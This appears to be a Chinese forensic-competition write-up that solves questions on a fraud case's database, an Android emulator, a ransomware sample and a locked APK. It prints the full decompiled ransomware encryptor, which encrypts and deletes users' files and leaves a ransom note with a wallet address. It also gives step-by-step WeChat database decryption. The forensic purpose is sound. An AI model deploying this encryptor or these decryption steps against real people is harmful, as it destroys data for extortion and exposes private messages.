31 还原全部被删改数据,2022年10月17日总计产生多少笔交易记录? 答案填写阿拉伯数字,如“15”

1000
直接查询member_transaction表,会得到正确答案
在这里插入图片描述

本题如果查看网站上的结果,可能结果不一样,因为如果没有恢复数据库的话,网站页面上不会显示被删掉28个用户的交易记录,所以不准确

32 还原全部被删改数据,该网站中充值的USDT总额为 答案填写阿拉伯数字,如“15”

408228

select sum(amount) from member_transaction

在这里插入图片描述

检材4.根据前期侦查分析,通过技术手段找到了幕后老板,并对其使用的安卓模拟器“检材4”进行了固定。分析该检材并回答下列问题

Npbk文件解压后会得到vmdk文件,用取证软件直接解析就可以得到手机分析的结果

33 嫌疑人使用的安卓模拟器软件名称是

夜神模拟器
npbk是夜神模拟器备份文件的扩展名

34 检材4中,“老板”的阿里云账号是

forensixtech1
vmdk文件直接解析可以得到结果,
在这里插入图片描述

这里用手工分析的方式
对微信进行解密
第一步:首先找到用户uid。
UIN在\data\com.tencent.mm\shared_prefs\目录下的auth_info_key_prefs.xml文件中
在这里插入图片描述

第二步:计算MD5值。对(IMEI + UIN)计算MD5哈希值
IMEI默认是1234567890ABCDEF
Uin这里带负号,算哈希值的时候也要加上
在这里插入图片描述

用CyberChef计算MD5值为e8a81e9a1953e99f4e5e52e7f515e42e
第三步:取MD5值前7位e8a81e9作为微信的解密密钥
第四步:导出EnMicroMsg.db文件。
改文件存储在\data\com.tencent.mm\MicroMsg\1b1d0973ddb43d35d403af25b457fe45\路径下。
第五步:解密
先下载解密软件sqlcipher2.1_sqlcipher.exe免费下载资源-CSDN文库
运行后,把EnMicroMsg.db文件拖进去,输入微信的解密密钥e8a81e9
在这里插入图片描述

成功解密微信
在这里插入图片描述

用导出功能导出聊天数据表
在这里插入图片描述

(尝试导出sql文件的形式,但是在navicat中导不进去,在mysql命令行中通过source命令也导入不进去)
在这里插入图片描述

导出后需要给文件增加csv后缀名
用Excel打开后检索“阿里云”找到答案
在这里插入图片描述

forensixtech1

35 检材4中安装的VPN工具的软件名称是

v2rayNG
在这里插入图片描述

安卓系统的软件列表对应的文件是/system/目录下的packages.xml文件,但是不是很好检索
在这里插入图片描述

36 上述VPN工具中记录的节点IP是

38.68.135.18
在这里插入图片描述

37 检材4中,录屏软件安装时间为

2022-10-19 10:50:27
分析思路:按创建时间排序
检材4,切换到data目录,按照创建时间倒序排列,可以看到红框中的应用都是最新的,与下面的时间明显不同,其中有第二个就是录屏软件,创建时间就是安装时间

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

38 上述录屏软件中名为“s_20221019105129”的录像,在模拟器存储中对应的原始文件名为

0c2f5dd4a9bc6f34873fb3c0ee9b762b98e8c46626410be7191b11710117a12d
X-ways打开录屏安装目录的databases文件夹
在这里插入图片描述

注意,wal文件是db文件的预写日志,sqlite为了保证自己的效率,不会连续写入数据,而是先暂存在预写日志中,在某个时间点或节点统一导入数据
如上图,如果是这种结构的db文件,需要三个文件一起导出,并且用SQLite Studio才能打开,在RecordFile数据表中存储的对应关系
在这里插入图片描述

当在SQLite Studio中,移除改数据库,并且退出后,三个文件合并成了一个文件,此时就可以用navicat打开进行全局检索了
在这里插入图片描述

本题在app中运行是看不到正确答案的,只能看到s_20221019105129这个名称
在这里插入图片描述

当然也可以直接取安装目录下面的file/Movies目录下去找,因为只有一个录屏文件,但是如果录屏文件多了,就只能通过查看db文件了
在这里插入图片描述

39 上述录屏软件登录的手机号是

在这里插入图片描述

试用010editor,通过正则表达式进行搜索
在这里插入图片描述
在这里插入图片描述

当然,也可以在db数据库中找到答案
在这里插入图片描述

40 检材4中,发送勒索邮件的邮箱地址为

skterran@163.com
通过模拟器 设置 中的应用信息,可以看到只安装了一个邮箱软件:qq邮箱
在这里插入图片描述

模拟器上启动该邮箱:
因为模拟器是老板的,所以他是被勒索的人,所以看他的收件箱
在这里插入图片描述

收件箱中只有两封系统右键,所以应该是删除了
在这里插入图片描述

已删除中也没有,那就看他已发送的邮件,应该有历史记录:
在这里插入图片描述

可以看到勒索信息的发件人是skterran@163.com

分析所有掌握的检材,找到勒索邮件中被加密的文档和对应的加/解密程序,并回答下列问题

检材2的D盘中存储这加密解密软件,并且有加密过的文件,导出分析即可
在这里插入图片描述

C:\Users\renfe\Desktop\fupan>certutil -hashfile C:\Users\renfe\Desktop\fupan\encrypt_file.exe md5
MD5 的 C:\Users\renfe\Desktop\fupan\encrypt_file.exe 哈希:
630706dca27016ba9f03c6bf53e0853a
CertUtil: -hashfile 命令成功完成。

C:\Users\renfe\Desktop\fupan>certutil -hashfile C:\Users\renfe\Desktop\fupan\decrypt_file.exe md5
MD5 的 C:\Users\renfe\Desktop\fupan\decrypt_file.exe 哈希:
bc26b89158771a1c90aa855462066a2a
CertUtil: -hashfile 命令成功完成。

C:\Users\renfe\Desktop\fupan>

两个文件虽然大小相同,但是哈希值不一样

41 分析加密程序,编译该加密程序使用的语言是

Python
Exeinfo PE和Detect It Easy可以看到答案
在这里插入图片描述
在这里插入图片描述

StudyPE+只能看到python的图标,看不出pyinstaller打包的
在这里插入图片描述

CFF也看不出打包软件
在这里插入图片描述

如何用IDA pro看呢?
根据DIE等软件,该exe是64位程序
第一步,运行IDA pro,点击GO
在这里插入图片描述

将软件拖进IDA,shift + F12 打开字符串
在这里插入图片描述

可以看到大量字符串与python有关

42 分析加密程序,它会加密哪些扩展名的文件?

txt jpg xls docx
用pyinstxtractor.py反编译,一开始在CMD中运行没反应,通过Anaconda切换到D盘pyinstxtractor.py所在目录,执行成功了,原因,cmd中输入python,看不到版本号,坑你python程序出现了问题
第一步:执行pyinstxtractor.py
代码:
python .\pyinstxtractor.py D:\ProgramFiles\脚本\Python反编译\encrypt_file.exe
在这里插入图片描述

执行成功后,会在exe所在目录生成一个文件夹
第二步,文件头填充
在这里插入图片描述

注意:切换python环境的语句conda activate python36
注意 需要安装的插件uncompyle6,调用清华源进行安装,速度快一些

pip install -i https://pypi.tuna.tsinghua.edu.cn/simple uncompyle6==3.9.0

encrypt_file_1和struct文件用010打开
在这里插入图片描述

将struct文件的前12个字节,插入到encrypt_file_1文件的头部,并保存
看关心的复盘视频,第二步应该可以省略,可以尝试
第三步:Cmd中执行

(python36) PS D:\ProgramFiles\脚本\Python反编译> uncompyle6 -o ok.py D:\ProgramFiles\脚本\Python反编译\encrypt_file_1.pyc
D:\ProgramFiles\脚本\Python反编译\encrypt_file_1.pyc --
# Successfully decompiled file

查看反编译成功的ok.py文件

# uncompyle6 version 3.9.0
# Python bytecode version base 3.6 (3379)
# Decompiled from: Python 3.6.13 |Anaconda, Inc.| (default, Mar 16 2021, 11:37:27) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: encrypt_file_1.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 272 bytes
import time
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
pubkey = '-----BEGIN PUBLIC KEY-----\nMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI\nCO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo\nbHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn\nHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi\nSOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz\nRDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I\nkwIEHoau+w==\n-----END PUBLIC KEY-----\n'
msg = "SOMETHING WENT WRONG,PLEASE CONTACT YOUR SYSTEM ADMINISTRATOR!\nHe can help you to understand whats happened.\nIf he can't help you,contact us via email:\naa1028@forensix.cn\nale@forensix.cn\nHURRY UP!WE HAVE ANTIDOTE FOR YOUR FILES!DISCOUNT 20%FOR CLIENTS,WHO CONTACT US IN THE SAME DAY!\nYou can attach 2 files (text or picture)to check our honest intentions,we will heal them and send\nback.\nPlease pay 0.618 ETH\nThe wallet address:0xef9edf6cdacb7d925aee0f9bd607b544c5758850\n************************************\n"

class XORCBC:

    def __init__(self, key: bytes):
        self.key = bytearray(key)
        self.cur = 0

    def encrypt(self, data: bytes) -> bytes:
        data = bytearray(data)
        for i in range(len(data)):
            tmp = data[i]
            data[i] ^= self.key[self.cur]
            self.key[self.cur] = tmp
            self.cur = (self.cur + 1) % len(self.key)

        return bytes(data)

print('加密程序V1.0')
print('文件正在加密中~~~~~~~~~~~~~~~~~~\n')

def run_finall():
    for filepath, dirnames, filenames in os.walk(os.getcwd()):
        for filename in filenames:
            if filename != 'encrypt_file.py' and filename != 'decrypt_file.py' and '_encrypted' not in filename:
                ExtensionPath = os.path.splitext(filename)[-1]
                if '.txt' == ExtensionPath or '.jpg' == ExtensionPath or '.xls' == ExtensionPath or '.docx' == ExtensionPath:
                    time.sleep(3)
                    data_file = os.path.join(filepath, filename)
                    rsakey = RSA.import_key(pubkey)
                    cipher = Cipher_pkcs1_v1_5.new(rsakey)
                    xor_key = os.urandom(16)
                    xor_obj = XORCBC(xor_key)
                    outf = open(data_file + '_encrypted', 'wb')
                    encrypted_xor_key = cipher.encrypt(xor_key)
                    outf.write(encrypted_xor_key)
                    buffer_size = 4096
                    with open(data_file, 'rb') as (f):
                        while True:
                            data = f.read(buffer_size)
                            if not data:
                                break
                            outf.write(xor_obj.encrypt(data))

                    outf.close()
                    os.remove(data_file)

run_finall()

def redme():
    try:
        dir = os.path.join(os.path.expanduser('~'), 'Desktop')
        print(dir)
        with open(dir + '/!READ_ME.txt', 'w') as (ff):
            ff.write(msg)
    except:
        dir1 = os.getcwd()
        print(dir1)
        with open(dir1 + '/!READ_ME.txt', 'w') as (ff):
            ff.write(msg)

print('\n加密完成~~~~~~~~~~~~~~~~~~')
os.system('pause')

43 分析加密程序,是通过什么算法对文件进行加密的?

异或

在这里插入图片描述

44 分析加密程序,其使用的非对称加密方式公钥后5位为?

u+w==
在这里插入图片描述

45 被加密文档中,FLAG1的值是 FLAG为8位字符串,如“FLAG9:QWERT123”

TREFWGFS
在这里插入图片描述

检材2的D盘中,导出以上两个文件,复制到虚拟机中
虚拟机中双击运行decrypt_file.exe
在这里插入图片描述

看来需要逆向这个解密的exe文件,用
第一步:pyinstxtractor.py逆向
将decrypt_file.exe复制到pyinstxtractor.py脚本同一目录,用python执行脚本,产生一个decrypt_file.exe_extracted文件夹

第二步:文件头填充
打开decrypt_file.exe_extracted文件夹,将struct文件的前12个字节,插入decrypt_file_1文件的头部,保存;然后更改decrypt_file_1文件的扩展名为pyc

第三步:uncompyle6反编译

(base) PS C:\Users\renfe> conda activate python36
(python36) PS C:\Users\renfe> cd D:\ProgramFiles\脚本\Python反编译
(python36) PS D:\ProgramFiles\脚本\Python反编译> python pyinstxtractor.py decrypt_file.exe
[*] Processing decrypt_file.exe
[*] Pyinstaller version: 2.1+
[*] Python version: 36
[*] Length of package: 7468789 bytes
[*] Found 98 files in CArchive
[*] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap
[+] Possible entry point: decrypt_file_1
[*] Found 197 files in PYZ archive
[*] Successfully extracted pyinstaller archive: decrypt_file.exe

You can now use a python decompiler on the pyc files within the extracted directory
(python36) PS D:\ProgramFiles\脚本\Python反编译>  uncompyle6 -o decrypt decrypt_file.exe_extracted\decrypt_file_1

# file decrypt_file.exe_extracted\decrypt_file_1
# path decrypt_file.exe_extracted\decrypt_file_1 must point to a Python source that can be compiled, or Python bytecode (.pyc, .pyo)

decrypt_file.exe_extracted\decrypt_file_1 --
# decompile failed
(python36) PS D:\ProgramFiles\脚本\Python反编译>  uncompyle6 -o decrypt decrypt_file.exe_extracted\decrypt_file_1.pyc
Unknown magic number 227 in decrypt_file.exe_extracted\decrypt_file_1.pyc
(python36) PS D:\ProgramFiles\脚本\Python反编译>  uncompyle6 -o decrypt decrypt_file.exe_extracted\decrypt_file_1.pyc
decrypt_file.exe_extracted\decrypt_file_1.pyc --
# Successfully decompiled file
(python36) PS D:\ProgramFiles\脚本\Python反编译>

第四步:分析源代码。查看反编译生成的python文件

# uncompyle6 version 3.9.0
# Python bytecode version base 3.6 (3379)
# Decompiled from: Python 3.6.13 |Anaconda, Inc.| (default, Mar 16 2021, 11:37:27) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: decrypt_file_1.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 272 bytes
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
prikey = '-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEAx5JF4elVDBaakgGeDSxICO1LyyZ6B2TgR4DNYiQoB1zAyWPD\nwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVobHVZh+rCI4MwAh+EBFUeT8Dzja4Z\nlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRnHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2\nfUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYziSOT4PCf/O12Kuu9ZklsIAihRPl10\nSmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhzRDFn9IQ6YQRjlLjuOX8WB6H4NbnK\nX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/IkwIEHoau+wKCAQAlhHEjPTFQ7suY\nU3Ji+L5TyeaFWYu3iDVmtzUTjUn2Yvr2+IyHKdU6z0vvGhsHYP8rUJcwWEBVaVbU\ndQZ8TXT0flBgC35NyGQnTHHbNsOWRvFpto0Gom5KuDS0DYPrm+Ic1Ev0SfLdY+iK\nV/uzjjeBF+CgEuvwO8xnYLsaFu6s0/ezQgEDBxpcN2KBBZoJ0eXxUUanEPkrLHA2\nDhRgUCKQks1kpJrGZp/DLb8dKfhWoQ1FV/bBsmv9lVj1Yk14oKdvb51QK53Mnhiz\nji49S+tazVCA+lP0M6lVSB2uLyB5JldT4kqOQvhtURSzW8oeTM9w1rLvW7qi823U\nWrJz+TQTAoGBAPIfUS9accG2fUA3AP93ZJU0SbZLc95JJXMyaRozFTTbxnMWB3sG\nqM9X1qZ4hECVvLF3Sn73B6kF3IaC8/Vpc2cyPHpM+ytdxZVm4uW75ZwYAvKEJeT3\n068CtcN6PvG3mFhvPsc3GK9FI1O63jrbSx+Y1hQlrVq6eMZUJh7V8BxXAoGBANMC\nmhN2sC85Pz450JNoG6Q3db0nm9kUs157TUBMGJCfvgh2Rj0t08FcEKQn+idtOf6Z\nZc2lRoLeaRq539Ex8zzsD7Dl7bFtePRsuDcAMuIFY2S0Z8jjj9BaCirrUluu1FWp\nTV60As9YBLnRosLTrYtgym+GNjdE/42uFRBJk9AlAoGBAIyGeStBbau1BmMSeTJt\n9QYjl95MJZXTbJD4IFV73nVG66I/yKp9Ry3Q1hHf/oDm6bepslI/7+lLK1TPRv7T\nO0PNY92vya15RUvFerOz2QvOz9SRh/ZU6rEwsy0qZtanGZ7pKCSsQIwcJcsTKdjO\nvMj9QIqxqmdpdh6zFDeGKu4/AoGAEzFuMCQH+liRp9MEZtEtoqtUSwbwhSUh4hl+\nnScp+a+sKIaF/ohJfXeBctWCF6iU/N5TH7SlnfBlZE7MBJHiiAz8EwWI4u4EmFkc\n7RvmfXowLO9L4pG2rzwcMGgrs9cJm+NcjlNmq+Kx4q+F4lHNN8+/7NPdmDyiUlAD\nATZCds8CgYEA2CFvsH+TUV3Q63UdTsdrUKK86vohjGSaoai7mEUGo4iZ/Ie+ScAa\nGtPFZUhO7EJqh2rNqAakfZGgKU43hAjiUHIjvZdAFNoqpNxO+bkEIPSFQQ6o34r3\naGTj9Pz1UH/ByW76V7defT/2jQsXHHFiVGpDU6WT80bInLqDQRxlDRk=\n-----END RSA PRIVATE KEY-----\n'

class XORCBC:

    def __init__(self, key: bytes):
        self.key = bytearray(key)
        self.cur = 0

    def decrypt(self, data: bytes) -> bytes:
        data = bytearray(data)
        for i in range(len(data)):
            data[i] ^= self.key[self.cur]
            self.key[self.cur] = data[i]
            self.cur = (self.cur + 1) % len(self.key)

        return bytes(data)

def run_decrypt():
    print('解密程序 V1.0\n')
    present = input('请输入密码:')
    if present == '4008003721':
        for filepath, dirnames, filenames in os.walk(os.getcwd()):
            for filename in filenames:
                if '_encrypted' in filename:
                    print(os.path.join(filepath, filename) + '-解密成功')
                    data_file = os.path.join(filepath, filename)
                    data_handle = open(data_file, 'rb')
                    rsakey = RSA.import_key(prikey)
                    cipher = Cipher_pkcs1_v1_5.new(rsakey)
                    xor_key = cipher.decrypt(data_handle.read(256), '')
                    xor_obj = XORCBC(xor_key)
                    outname = data_file.replace('_encrypted', '')
                    outf = open(outname, 'wb')
                    buffer_size = 4096
                    while True:
                        data = data_handle.read(buffer_size)
                        if not data:
                            break
                        outf.write(xor_obj.decrypt(data))

                    outf.close()

        print('\n恭喜您,解密成功~~~~~~~~~~~~~~~')
        os.system('pause')
    else:
        print('\n密码错误~~~~~~~~~~~~~~~')
        run_decrypt()

run_decrypt()

以上代码中红色的’4008003721’就是解密密码
第五步:解密。虚拟机中运行decrypt_file.exe文件,输入密码’4008003721’,即可解密文件

在这里插入图片描述
在这里插入图片描述

分析所有掌握的检材,找到报案人描述的加密勒索apk程序,分析并回答下列问题

46 恶意APK程序的包名为

cn.forensix.changancup

47 APK调用的权限包括

在这里插入图片描述
在这里插入图片描述

48 解锁第一关所使用的FLAG2值为 FLAG为8位字符串,如需在apk中输入FLAG,请输入完整内容,如输入"FLAG9:QWERT123"

方法一:雷电app:敏感信息分析
首先脱壳
在这里插入图片描述

敏感信息分析
在这里插入图片描述
在这里插入图片描述

直接找到了FLAG2

方法二:
第一步:模拟器中安装apk文件ZTuoExchange.apk
在这里插入图片描述

第二步:启动该app,选择永久root权限,界面如下面右侧图:
在这里插入图片描述
在这里插入图片描述

题目一共留了三关两个flag
第二步,查壳
用Apktool Box可以看到,apk进行了加固,360新版加固
在这里插入图片描述

用APK Messenger也可以看到,是360加固
在这里插入图片描述

第三步:脱壳
用弘连的雷电app进行脱壳
在这里插入图片描述

脱壳后,用雷电app自带的jadx打开源代码
在这里插入图片描述

第四步:检索
我们看到,第二部进入app主页后,让输入FLAG2,我们尝试在源代码中检索关键字“FLAG2”
在这里插入图片描述

双击跳转过去后,可以看到,其实就是app的入口类
在这里插入图片描述

入口点在AndroidManifest.xml文件中可以看到
在这里插入图片描述

MATSFRKG

在这里插入图片描述

49 解锁第二关所使用的FLAG3值为 FLAG为8位字符串,如需在apk中输入FLAG,请输入完整内容,如输入"FLAG9:QWERT123"

FLAG3:TDQ2UWP9
通过AndroidStudio新建一个工程
解法一:用Eclipse的解法
注意:用eclipse新建项目的时候,更改默认的Minimum Required SDK,改成4.X的版本,否则会报错
报错提示:
No resource found that matches the given name ‘Theme.AppCompat.Light.DarkActionBar’.
No resource found that matches the given name ‘Theme.AppCompat.Light’.
在这里插入图片描述

解法二:用AndroidStudio的解法
第一步:AS新建工程。
在这里插入图片描述

注意Package name要命名为cn.forensix.cab,(这个名称来源于apk文件中AndroidManifest.xml文件)
在这里插入图片描述
在这里插入图片描述

第二步:导入so文件。
(so文件就是apk解压后,在\lib\armeabi-v7a路径下的libcipher.so文件)
AndroidStudio中,在main目录处右击,选择New,选择Directory,新建一个目录
在这里插入图片描述

目录名称命名为jniLibs,如下:
在这里插入图片描述

然后在jniLibs目录上右击,选择Directory,新建一个子目录:
在这里插入图片描述

命名为armeabi-v7a
在这里插入图片描述

解压apk文件,在libcipher.so文件上右击,选择复制
在这里插入图片描述

在新建的目录上右击,选择Paste,粘贴so文件到目录
在这里插入图片描述

点击OK
在这里插入图片描述

第三步:创建并编辑App类
在cn.forensix.cab目录下右击,选择NewJava Class
在这里插入图片描述

名称命名为App
在这里插入图片描述

App的类名及路径、继承的规则都来源于apk文件中的App类
在这里插入图片描述

编辑好的App类如下
在这里插入图片描述

上图中的1234来源于原始apk中的App类,如下(编号与上图对应):
在这里插入图片描述

在这里插入图片描述

注意2处的代码,需要注意三点
1.需要新建一个字符串变量valueOut,用来接收解密的字符串
2.并且删掉decrypt后面的第一个“OooO0O0.”因为解密函数OooO0O0()已经复制到新的App类下面了,无需添加原类的路径,
3.decrypt前面要加上类名“new App().”,因为decrypt是静态函数,需要用类名调用
String valueOut = new String(new App().decrypt(OooO0O0(“ffd4d7459ad24cd035611b014a2cccac”)));
在这里插入图片描述

最后在App的main函数处添加代码输出解密后的字符串valueOut
System.out.println(“valueOut”+valueOut);
在这里插入图片描述

第四步:编辑MainActivity,

在MainActivity的onCreate方法最后添加“App.Main();”代码,调用写好的App类
在这里插入图片描述

第五步:启动并连接雷电虚拟机

在这里插入图片描述

在AS右上角的下拉框中,选择新启动的虚拟机
在这里插入图片描述

通过adb命令可以看到,虚拟机的架构是x86,但是不影响so文件的运行

C:\Users\renfe>adb devices
List of devices attached
127.0.0.1:5559  device
C:\Users\renfe>adb shell getprop ro.product.cpu.abi
x86
第六步:build打包apk文件,并手动安装到模拟器

在这里插入图片描述

Build后,会在路径下生成一个apk文件,重新打包会覆盖以前的apk文件
点击右下角的locate,打开apk目录
在这里插入图片描述

打开debug目录
在这里插入图片描述

把该目录下的app-debug.apk文件拖到雷电模拟器中安装
注意,这里需要手动安装,弘连复盘视频中是直接运行AS中的绿色按钮推动的,但是本人尝试了几次都不行,so文件无法识别,可能是因为AS版本的原因
在这里插入图片描述

第七步:运行app并查看logcat日志

在这里插入图片描述

模拟器中运行app后,返回AS查看logcat日志,可以找到FLAG3
也可以直接在搜索框,检索关键字“FLAG3”

在这里插入图片描述

50 解锁第三关所需的KEY值由ASCII可显示字符组成,请请分析获取该KEY值

a_asd./1imc2)dd1234]_+=+
CSDN参考链接
https://blog.csdn.net/qq_51233573/article/details/130693623
Java代码如下

package newnew202;

class Main {
     
    private static int[] OooO0oO = {1197727163, 1106668241, 312918615, 1828680913, 1668105995, 1728985987};
 
    public static void main(String[] args) {
        for (int n=0; n<6; n++) {
            boolean flag = false;
            for (int i = 0x20; i < 0x7f; i++) {
                for (int j = 0x20; j < 0x7f; j++) {
                    for (int k = 0x20; k < 0x7f; k++) {
                        for (int l = 0x20; l < 0x7f; l++) {
                            long tmp = (long) (i << 16);
                            tmp |= (long) (j << '\b');
                            tmp |= (long) (k << 24);
                            tmp |= (long) l;
 
                            if (((OooO(tmp, 4294967296L)[0] % 4294967296L) + 4294967296L) % 4294967296L == ((long) OooO0oO[n])) {
                                System.out.print((char) i);
                                System.out.print((char) j);
                                System.out.print((char) k);
                                System.out.print((char) l);
                                flag = true;
                                break;
                            }
                        }
                        if (flag)
                            break;
                    }
                    if (flag)
                        break;
                }
                if (flag)
                    break;
            }
        }
    }
 
    public boolean OooO0O0(String str) {
        if (str.length() != 24) {
            return false;
        }
        long[] jArr = new long[6];
        for (int i = 0; i < str.length() / 4; i++) {
            int i2 = i * 4;
            jArr[i] = (long) (str.charAt(i2) << 16);
            jArr[i] = jArr[i] | ((long) (str.charAt(i2 + 1) << '\b'));
            jArr[i] = jArr[i] | ((long) (str.charAt(i2 + 2) << 24));
            jArr[i] = ((long) str.charAt(i2 + 3)) | jArr[i];
//         PrintStream printStream = System.out;
//         printStream.println("buildKey:i:" + i + ",value:" + jArr[i]);
        }
        try {
            int[] iArr = {1197727043, 1106668192, 312918557, 1828680848, 1668105873, 1728985862};
            Object[] objArr = {'x', '1', ':', 'A', 'z', '}'};
            for (int i3 = 0; i3 < 6; i3++) {
                if (((long) iArr[i3]) - jArr[i3] != ((long) ((Integer) objArr[i3]).intValue())) {
                    return false;
                }
            }
            return true;
        } catch (Exception unused) {
            for (int i4 = 0; i4 < 6; i4++) {
                if (((OooO(jArr[i4], 4294967296L)[0] % 4294967296L) + 4294967296L) % 4294967296L != ((long) this.OooO0oO[i4])) {
                    return false;
                }
            }
            return true;
        }
    }
 
    private static long[] OooO(long j, long j2) {
        if (j == 0) {
            return new long[]{0, 1};
        }
        long[] OooO = OooO(j2 % j, j);
        return new long[]{((j2 / j) * OooO[0]) + OooO[1], OooO[0]};
    }
}

在这里插入图片描述

控制台输出结果

在这里插入图片描述

启动网站的过程详解

检材1 172.16.80.133
检材2 172.16.80.100
检材3 172.16.80.128

检材2的D盘有一个“建站笔记.txt”,同时发现该目录下还有两个脚本start_web.sh和start.sh,还有网站所用的数据库b1
在这里插入图片描述

建站笔记.txt内容如下:这个网站必须先启动后端全部组件,再启动前端,而且启动jar包还有顺序
在这里插入图片描述

两个脚本分别是前台启动脚本start_web.sh和后台脚本start.sh
先查看一下两个脚本的内容
前端脚本:start_web.sh

#!/bin/bash

echo "Starting App: Cloud " 
nohup java -jar /web/app/cloud.jar &
sleep 20s
echo "Starting App: market " 
nohup  java -jar /web/app/market.jar &
sleep 60s
echo "Starting App:exchange " 
nohup  java -jar /web/app/exchange.jar &
sleep 20s
echo "Starting App:admin" 
nohup  java -jar /web/app/admin-api.jar &
sleep 20s
echo "Starting App:ucenter" 
nohup  java -jar /web/app/ucenter-api.jar &
sleep 20s
echo "Starting WEB:WEB" 
cd /web/app/web/
nohup npm run dev  &
cd /web/app
echo "Starting WEB:admin" 
cd /web/app/admin/
nohup npm run dev  &
cd /web/app
echo "Finish"kil

根据复盘视频,这里market.jar的启动需要大量时间,但是如果market.jar启动之前,先启动了后面的exchange.jar、admin-api.jar、ucenter-api.jar,那么就会导致找不到依赖,导致网站报错无法启动
所以要严格按照脚本启动
后台脚本start.sh:

#!/bin/bash

sleep 2s
echo "Starting Zookeeper"
nohup /data/install/apache/zookeeper-3.4.10/bin/zkServer.sh start & 
sleep 2s
echo "Starting Kafka"
nohup /data/install/apache/kafka_2.12-1.0.1/bin/zookeeper-server-start.sh /data/install/apache/kafka_2.12-1.0.1/config/zookeeper.properties &
sleep 5s
nohup /data/install/apache/kafka_2.12-1.0.1/bin/kafka-server-start.sh /data/install/apache/kafka_2.12-1.0.1/config/server.properties &
echo "Finish"kil

通过历史命令,我们看出,技术员最后删除了脚本start.sh和脚本start_web.sh
我们先把两个脚本和数据库b1文件夹从检材2中导出到本地待用
然后虚拟机新建仅主机模式网卡VMnet3
在这里插入图片描述

在启动仿真检材1和检材3的时候,都要把网卡设置到VMnet3上面,这样才能保证互相连通,并且保证两个虚拟机能ping通
我们先启动后端(检材3):
第一步:仿真启动检材3,然后将start.sh通过FTP导入系统的web目录下,这里其实哪个目录应该都行,应为start.sh里面都是绝对路径,导入后授权777权限
在这里插入图片描述

第二步:将b1文件夹导入到检材3的/data/mysql/db目录下面,给b1授权777
然后启动检材3的docker容器
第三步:启动start.sh脚本
完整代码如下:

WARNING! The remote SSH server rejected X11 forwarding request.
Last login: Thu Feb 22 13:23:07 2024
[root@localhost ~]# cd /web
[root@localhost web]# ls
bin  dump.rdb  java  jdk1.8.0_181  jdk-8u181-linux-x64.tar.gz  nohup.out  start.sh  zookeeper.out
[root@localhost web]# chmod 777 start.sh 
[root@localhost web]# cd /data/mysql/db
[root@localhost db]# ls
8eda4cb0b452.log  8eda4cb0b452.pid  auto.cnf  b1  ca-key.pem  ca.pem  client-cert.pem  client-key.pem  ib_buffer_pool  ibdata1  ib_logfile0  ib_logfile1  ibtmp1  mysql  performance_schema  private_key.pem  public_key.pem  server-cert.pem  server-key.pem  sys
[root@localhost db]# chmod -R 777 b1
[root@localhost db]# docker ps
Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?
[root@localhost db]# systemctl start docker 
[root@localhost db]# docker ps
CONTAINER ID   IMAGE          COMMAND                  CREATED         STATUS        PORTS                                                    NAMES
8eda4cb0b452   mysql:5.7.32   "docker-entrypoint.s…"   16 months ago   Up 1 second   33060/tcp, 0.0.0.0:33050->3306/tcp, :::33050->3306/tcp   mysql57
[root@localhost db]# cd /web
[root@localhost web]# ls
bin  dump.rdb  java  jdk1.8.0_181  jdk-8u181-linux-x64.tar.gz  nohup.out  start.sh  zookeeper.out
[root@localhost web]# ./start.sh
Starting Zookeeper
nohup: appending output to ‘nohup.out’
Starting Kafka
nohup: appending output to ‘nohup.out’
Finishkil
[root@localhost web]# nohup: appending output to ‘nohup.out’

第四步:查看服务启动情况

[root@localhost ~]# netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      875/sshd            
tcp        0      0 0.0.0.0:33050           0.0.0.0:*               LISTEN      12492/docker-proxy  
tcp6       0      0 :::9092                 :::*                    LISTEN      11637/java          
tcp6       0      0 :::2181                 :::*                    LISTEN      11358/java          
tcp6       0      0 :::40079                :::*                    LISTEN      11637/java          
tcp6       0      0 :::41717                :::*                    LISTEN      11358/java          
tcp6       0      0 :::22                   :::*                    LISTEN      875/sshd            
tcp6       0      0 :::33050                :::*                    LISTEN      12497/docker-proxy  
[root@localhost ~]# 

这样,后台已经启动了
启动前端:
第一步:将start_web.sh导入/web/app目录下
在这里插入图片描述

第二步:给sh脚本授权777

[root@localhost ~]# chmod 777 /web/app/start_web.sh
[root@localhost ~]#

第三步:启动脚本start_web.sh

[root@localhost ~]# cd /web/app
[root@localhost app]# sl
-bash: sl: command not found
[root@localhost app]# ls
admin  admin-api.jar  admin.tar  cloud.jar  exchange.jar  jdk1.8.0_181  jdk-8u181-linux-x64.tar.gz  @logback.path@  logs  market.jar  nohup.out  start_web.sh  ucenter-api.jar  web  web.tar
[root@localhost app]# ./start_web.sh 
Starting App: Cloud 
nohup: appending output to ‘nohup.out’
Starting App: market 
